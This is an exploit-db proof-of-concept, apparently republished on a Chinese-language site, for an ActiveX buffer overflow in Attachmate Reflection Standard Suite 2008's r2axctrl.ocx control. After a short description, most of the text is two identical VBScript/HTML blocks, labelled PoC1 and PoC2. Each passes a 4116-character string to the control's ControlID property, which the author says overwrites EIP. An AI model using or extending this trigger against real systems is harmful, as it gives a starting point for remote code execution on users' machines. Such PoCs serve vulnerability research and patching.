Attachmate Reflection Standard Suite 2008 – ActiveX Buffer Overflow (PoC)

  • 作者： Rad L. Sneak
    日期： 2010-05-18
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/12650/
  • # Exploit Title: Attachmate Reflection Standard Suite 2008 activex buffer overflow
# Date: Mar 11, 2010 found
# Author: Rad L. Sneak (JB)
# Software Link: http://www.attachmate.com/Evals/ruo2/eval-form.htm
# Version: 13.0 & 14.0
# Tested on: WinXP SP3 & Win7 64bit
# CVE : None yet


Attachmate Reflection Standard Suite 2008 & Reflection X Both contain a buffer overflow that could be triggered via activex. when r2axctrl.ocx is sent large string to the Reflection for UNIX & OpenVMS control class a crash happens that overwrites EIP with 41414141. 


# Code : [PoC exploit below]
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<html>
PoC1
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:15B168B2-AD3C-11D1-A8D8-00A0C9200E61' id='target' />
<script language='vbscript'>

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\ReflectionsX\r2axctrl.ocx"
prototype= "Property Let ControlID As String"
memberName = "ControlID"
progid = "R2AXCTRLLib.R2winCtrl"
argCount = 1

arg1=String(4116, "A")

target.ControlID = arg1

</script></job></package></html>

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May need to throw a refresh to trigger PoC2 completely
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<html>
PoC2
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:15B168B2-AD3C-11D1-A8D8-00A0C9200E61' id='target' />
<script language='vbscript'>

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\ReflectionsX\r2axctrl.ocx"
prototype= "Property Let ControlID As String"
memberName = "ControlID"
progid = "R2AXCTRLLib.R2winCtrl"
argCount = 1

arg1=String(4116, "A")

target.ControlID = arg1

</script></job></package></html>

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